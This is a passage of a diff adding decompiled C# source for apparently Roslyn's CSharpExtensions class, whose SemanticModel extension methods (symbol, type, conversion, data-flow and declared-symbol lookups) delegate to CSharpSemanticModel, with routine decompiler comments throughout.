IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSymbolInfo(constructorInitializer, cancellationToken); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSymbolInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax constructorInitializer, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSymbolInfo(constructorInitializer, cancellationToken); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSymbolInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax attributeSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSymbolInfo(attributeSyntax, cancellationToken); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSymbolInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax crefSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSymbolInfo(crefSyntax, cancellationToken); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSpeculativeSymbolInfo(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSpeculativeSymbolInfo(position, expression, bindingOption); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSpeculativeSymbolInfo(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return ((SemanticModel)cSharpSemanticModel).GetSpeculativeSymbolInfo(position, (SyntaxNode)(object)expression, bindingOption); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSpeculativeSymbolInfo(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax attribute) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSpeculativeSymbolInfo(position, attribute); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSpeculativeSymbolInfo(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax constructorInitializer) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSpeculativeSymbolInfo(position, constructorInitializer); + } + return SymbolInfo.None; + } + + public static SymbolInfo GetSpeculativeSymbolInfo(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax constructorInitializer) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSpeculativeSymbolInfo(position, constructorInitializer); + } + return SymbolInfo.None; + } + + public static TypeInfo GetTypeInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax constructorInitializer, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetTypeInfo(constructorInitializer, cancellationToken); + } + return CSharpTypeInfo.None; + } + + public static TypeInfo GetTypeInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetTypeInfo(node, cancellationToken); + } + return CSharpTypeInfo.None; + } + + public static TypeInfo GetTypeInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetTypeInfo(expression, cancellationToken); + } + return CSharpTypeInfo.None; + } + + public static TypeInfo GetTypeInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax attributeSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetTypeInfo(attributeSyntax, cancellationToken); + } + return CSharpTypeInfo.None; + } + + public static TypeInfo GetSpeculativeTypeInfo(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSpeculativeTypeInfo(position, expression, bindingOption); + } + return CSharpTypeInfo.None; + } + + public static Conversion GetConversion(this SemanticModel? semanticModel, SyntaxNode expression, CancellationToken cancellationToken = default(CancellationToken)) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetConversion(expression, cancellationToken); + } + return Conversion.NoConversion; + } + + public static Conversion GetConversion(this IConversionOperation conversionExpression) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (conversionExpression == null) + { + throw new ArgumentNullException("conversionExpression"); + } + if (((IOperation)conversionExpression).Language == "C#") + { + return (Conversion)(object)((ConversionOperation)conversionExpression).ConversionConvertible; + } + throw new ArgumentException(string.Format(CSharpResources.IConversionExpressionIsNotCSharpConversion, "IConversionOperation"), "conversionExpression"); + } + + public static Conversion GetInConversion(this ICompoundAssignmentOperation compoundAssignment) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (compoundAssignment == null) + { + throw new ArgumentNullException("compoundAssignment"); + } + if (((IOperation)compoundAssignment).Language == "C#") + { + return (Conversion)(object)((CompoundAssignmentOperation)compoundAssignment).InConversionConvertible; + } + throw new ArgumentException(string.Format(CSharpResources.ICompoundAssignmentOperationIsNotCSharpCompoundAssignment, "compoundAssignment"), "compoundAssignment"); + } + + public static Conversion GetOutConversion(this ICompoundAssignmentOperation compoundAssignment) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (compoundAssignment == null) + { + throw new ArgumentNullException("compoundAssignment"); + } + if (((IOperation)compoundAssignment).Language == "C#") + { + return (Conversion)(object)((CompoundAssignmentOperation)compoundAssignment).OutConversionConvertible; + } + throw new ArgumentException(string.Format(CSharpResources.ICompoundAssignmentOperationIsNotCSharpCompoundAssignment, "compoundAssignment"), "compoundAssignment"); + } + + public static Conversion GetSpeculativeConversion(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SpeculativeBindingOption bindingOption) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetSpeculativeConversion(position, expression, bindingOption); + } + return Conversion.NoConversion; + } + + public static ForEachStatementInfo GetForEachStatementInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax forEachStatement) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetForEachStatementInfo(forEachStatement); + } + return default(ForEachStatementInfo); + } + + public static ForEachStatementInfo GetForEachStatementInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.CommonForEachStatementSyntax forEachStatement) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetForEachStatementInfo(forEachStatement); + } + return default(ForEachStatementInfo); + } + + public static DeconstructionInfo GetDeconstructionInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.AssignmentExpressionSyntax assignment) + { + if (!(semanticModel is CSharpSemanticModel cSharpSemanticModel)) + { + return default(DeconstructionInfo); + } + return cSharpSemanticModel.GetDeconstructionInfo(assignment); + } + + public static DeconstructionInfo GetDeconstructionInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ForEachVariableStatementSyntax @foreach) + { + if (!(semanticModel is CSharpSemanticModel cSharpSemanticModel)) + { + return default(DeconstructionInfo); + } + return cSharpSemanticModel.GetDeconstructionInfo(@foreach); + } + + public static AwaitExpressionInfo GetAwaitExpressionInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.AwaitExpressionSyntax awaitExpression) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetAwaitExpressionInfo(awaitExpression); + } + return default(AwaitExpressionInfo); + } + + public static ImmutableArray GetMemberGroup(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetMemberGroup(expression, cancellationToken); + } + return ImmutableArray.Create(); + } + + public static ImmutableArray GetMemberGroup(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax attribute, CancellationToken cancellationToken = default(CancellationToken)) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetMemberGroup(attribute, cancellationToken); + } + return ImmutableArray.Create(); + } + + public static ImmutableArray GetMemberGroup(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax initializer, CancellationToken cancellationToken = default(CancellationToken)) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetMemberGroup(initializer, cancellationToken); + } + return ImmutableArray.Create(); + } + + public static ImmutableArray GetIndexerGroup(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetIndexerGroup(expression, cancellationToken); + } + return ImmutableArray.Create(); + } + + public static Optional GetConstantValue(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetConstantValue(expression, cancellationToken); + } + return default(Optional); + } + + public static QueryClauseInfo GetQueryClauseInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.QueryClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.GetQueryClauseInfo(node, cancellationToken); + } + return default(QueryClauseInfo); + } + + public static IAliasSymbol? GetAliasInfo(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax nameSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetAliasInfo(nameSyntax, cancellationToken); + } + + public static IAliasSymbol? GetSpeculativeAliasInfo(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax nameSyntax, SpeculativeBindingOption bindingOption) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return (semanticModel as CSharpSemanticModel)?.GetSpeculativeAliasInfo(position, nameSyntax, bindingOption); + } + + public static ControlFlowAnalysis? AnalyzeControlFlow(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax firstStatement, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax lastStatement) + { + return (semanticModel as CSharpSemanticModel)?.AnalyzeControlFlow(firstStatement, lastStatement); + } + + public static ControlFlowAnalysis? AnalyzeControlFlow(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + return (semanticModel as CSharpSemanticModel)?.AnalyzeControlFlow(statement); + } + + public static DataFlowAnalysis? AnalyzeDataFlow(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax constructorInitializer) + { + return (semanticModel as CSharpSemanticModel)?.AnalyzeDataFlow(constructorInitializer); + } + + public static DataFlowAnalysis? AnalyzeDataFlow(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax primaryConstructorBaseType) + { + return (semanticModel as CSharpSemanticModel)?.AnalyzeDataFlow(primaryConstructorBaseType); + } + + public static DataFlowAnalysis? AnalyzeDataFlow(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + return (semanticModel as CSharpSemanticModel)?.AnalyzeDataFlow(expression); + } + + public static DataFlowAnalysis? AnalyzeDataFlow(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax firstStatement, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax lastStatement) + { + return (semanticModel as CSharpSemanticModel)?.AnalyzeDataFlow(firstStatement, lastStatement); + } + + public static DataFlowAnalysis? AnalyzeDataFlow(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + return (semanticModel as CSharpSemanticModel)?.AnalyzeDataFlow(statement); + } + + public static bool TryGetSpeculativeSemanticModelForMethodBody([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.BaseMethodDeclarationSyntax method, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModelForMethodBody(position, method, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModelForMethodBody([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax accessor, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModelForMethodBody(position, accessor, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModel([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, [NotNullWhen(true)] out SemanticModel? speculativeModel, SpeculativeBindingOption bindingOption = (SpeculativeBindingOption)0) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModel(position, type, out speculativeModel, bindingOption); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModel([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax crefSyntax, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModel(position, crefSyntax, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModel([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModel(position, statement, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModel([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax initializer, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModel(position, initializer, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModel([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax expressionBody, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModel(position, expressionBody, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModel([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax constructorInitializer, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModel(position, constructorInitializer, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModel([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.PrimaryConstructorBaseTypeSyntax constructorInitializer, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModel(position, constructorInitializer, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static bool TryGetSpeculativeSemanticModel([NotNullWhen(true)] this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.AttributeSyntax attribute, [NotNullWhen(true)] out SemanticModel? speculativeModel) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.TryGetSpeculativeSemanticModel(position, attribute, out speculativeModel); + } + speculativeModel = null; + return false; + } + + public static Conversion ClassifyConversion(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, ITypeSymbol destination, bool isExplicitInSource = false) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.ClassifyConversion(expression, destination, isExplicitInSource); + } + return Conversion.NoConversion; + } + + public static Conversion ClassifyConversion(this SemanticModel? semanticModel, int position, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, ITypeSymbol destination, bool isExplicitInSource = false) + { + if (semanticModel is CSharpSemanticModel cSharpSemanticModel) + { + return cSharpSemanticModel.ClassifyConversion(position, expression, destination, isExplicitInSource); + } + return Conversion.NoConversion; + } + + public static ISymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.MemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IMethodSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static INamespaceSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static INamespaceSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static INamedTypeSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.BaseTypeDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static INamedTypeSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.DelegateDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IFieldSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IMethodSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.BaseMethodDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static ISymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.BasePropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IPropertySymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IPropertySymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.IndexerDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IEventSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IPropertySymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectMemberDeclaratorSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public static INamedTypeSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectCreationExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public static INamedTypeSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.TupleExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public static ISymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declaratorSyntax, cancellationToken); + } + + public static IMethodSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static ISymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.SingleVariableDesignationSyntax designationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(designationSyntax, cancellationToken); + } + + public static ISymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static ISymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.TupleElementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static ILabelSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.LabeledStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static ILabelSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.SwitchLabelSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IAliasSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IAliasSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ExternAliasDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static IParameterSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public static ITypeParameterSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterSyntax typeParameter, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(typeParameter, cancellationToken); + } + + public static ILocalSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax forEachStatement, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(forEachStatement); + } + + public static ILocalSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax catchDeclaration, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as CSharpSemanticModel)?.GetDeclaredSymbol(catchDeclaration); + } + + public static IRangeVariableSymbol? GetDeclaredSymbol(this SemanticModel? semanticModel, Microsoft.CodeAnalysis.CSharp.Syntax.QueryClauseSyntax queryClause, CancellationToken cancellationToken = default(CancellationToken)) + { + return (semanticModel as 